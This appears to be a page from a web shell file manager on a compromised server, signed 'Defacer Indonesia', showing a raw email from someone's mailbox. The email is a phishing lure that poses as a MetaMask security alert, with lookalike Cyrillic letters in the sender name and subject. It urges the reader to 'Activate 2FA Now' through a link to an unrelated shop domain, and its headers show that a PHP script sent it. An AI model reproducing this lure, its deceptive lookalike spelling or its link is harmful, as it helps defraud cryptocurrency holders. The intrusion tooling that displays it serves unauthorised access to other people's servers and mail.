whoami7 - Manager
:
/
home
/
n170823s
/
mail
/
.info@nvqlevel6_com
/
new
/
Upload File:
files >> /home/n170823s/mail/.info@nvqlevel6_com/new/1748078903.M901807P3777779.ls1.pwh-r1.com,S=5919,W=6025
Return-Path: <postmaster@556c1c5033.nxcli.io> Delivered-To: info@nvqlevel6.com Received: from ls1.pwh-r1.com by ls1.pwh-r1.com with LMTP id eDWhMzeRMWjzpDkAXQPLDw (envelope-from <postmaster@556c1c5033.nxcli.io>) for <info@nvqlevel6.com>; Sat, 24 May 2025 14:58:23 +0530 Return-path: <postmaster@556c1c5033.nxcli.io> Envelope-to: info@nvqlevel6.com Delivery-date: Sat, 24 May 2025 14:58:23 +0530 Received: from cloudhost-1945881.nl-west-1.nxcli.net ([185.145.13.67]:27548) by ls1.pwh-r1.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.98.1) (envelope-from <postmaster@556c1c5033.nxcli.io>) id 1uIlB0-0000000G5qn-3kFf for info@nvqlevel6.com; Sat, 24 May 2025 14:58:23 +0530 Comment: DomainKeys? See http://domainkeys.sourceforge.net/ DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=556c1c5033.nxcli.io; b=J3b2eLB6wWpHmkjCTehJJDbRqUNT+NyNxGEGB+Ke/PNSe8HKyAnT4lfRLuyMjWKBKB3HX+3q+EgLyoAL05FSBCS24edtaaCpOiH4Y9WNGQjgh8Uv78m10BJFZ2p5JxU2Q9bJCzT1pVCwym395pQV8TZbZEsROP2dBtEnpCAhJudycgufZF5M0Z12YE+rl2fCMby0SSR4EEWHXgfF3Ot90uJpUJBaO2liGqkm61BT46B1EyirQr1ZYc85tgkfkITDAJVYL7kfxkZgYQmuZB1On1+lJBcqP4HE8eZ/yGs+QxzgD9hSWQ/ruAnD2MpeiWTuuOFAfR9UlDuQLfKkRL57WA==; h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority; DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=556c1c5033.nxcli.io; h= date:message-id:to:subject:from:reply-to:mime-version :content-type; s=default; bh=jtp0Md7U4pgzljVePj92PeUfQPSMmUCetff ZEfAT+GE=; b=kgpV+PY1nHeup0hmp68hhzkL4GpL20iKH1CCji+7elTa/JG9MtA NrDEy4yL4FNNneisbkoD+AiYYGnpnGYqsTTX/0mZ2kSZ/ycMbuhKYjzZcyPCTsW1 PCWHGcfDbChHrb/SCvbW+piiinavQSSjUgL++oKXHY8aMWmf/WMcJYQT/53E2vB6 mhDIC1myG2MeJ7pnEmll0h9IkAgdF6OclZoE5FMhHzO42AdKMIuZ9r/05vXQZrph cRdteRzLa/VEX7bwibo9xbbXQm6iOsNBCok/Y0wnBbwmg6CxnDyivSNk2uCsZQYi zvD939aaWzPA1tuKy4CUJw4pv1UuNCs3sEw== Received: (qmail 18930 invoked by uid 10235); 24 May 2025 08:29:54 +0000 Date: 24 May 2025 08:29:54 +0000 Message-ID: <20250524082954.18909.qmail@cloudhost-1945881.nl-west-1.nxcli.net> To: info@nvqlevel6.com Subject: Suspiciоus behavior detected X-PHP-Originating-Script: 10235:s.php From: "MetaMаsk" <yq58vz8z@kvw.io> Reply-To: yq58vz8z@kvw.io MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 X-Mailer: PHP/8.2.20 X-Priority: 3 X-Spam-Status: No, score=4.5 X-Spam-Score: 45 X-Spam-Bar: ++++ X-Ham-Report: Spam detection software, running on the system "ls1.pwh-r1.com", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Hi, We've detected suspicious behavior linked to your wallet. To secure your account, we recommend enabling Two-Factor Authentication (2FA). Content analysis details: (4.5 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: fastdroponlineshop.com] [URI: nxcli.io] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [185.145.13.67 listed in bl.score.senderscore.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [185.145.13.67 listed in sa-accredit.habeas.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [185.145.13.67 listed in sa-trusted.bondedsender.org] 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid 0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail domains are different 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/) 2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50% [cf: 100] X-Spam-Flag: NO <!DOCTYPE html> <html> <body style="margin:0;padding:20px;font-family:Arial,sans-serif;background:#fff;color:#111;font-size:15px"> <p>Hi,</p> <p>We've detected suspicious behavior linked to your wallet. To secure your account, we recommend enabling Two-Factor Authentication (2FA).</p> <p>2FA helps protect your assets even if your password is compromised.</p> <p style="margin:24px 0"> <a href="https://fastdroponlineshop.com/wpj//?id=-2076107710053140518-8115" style="color:#1155cc;text-decoration:underline">🔐 Activate 2FA Now</a> </p> <p>If this alert wasn’t triggered by you, no further action is required.</p> <p style="margin-top:28px;color:#888;font-size:13px">MetaMаsk Security Team</p> </body> </html>
Copyright ©2021 || Defacer Indonesia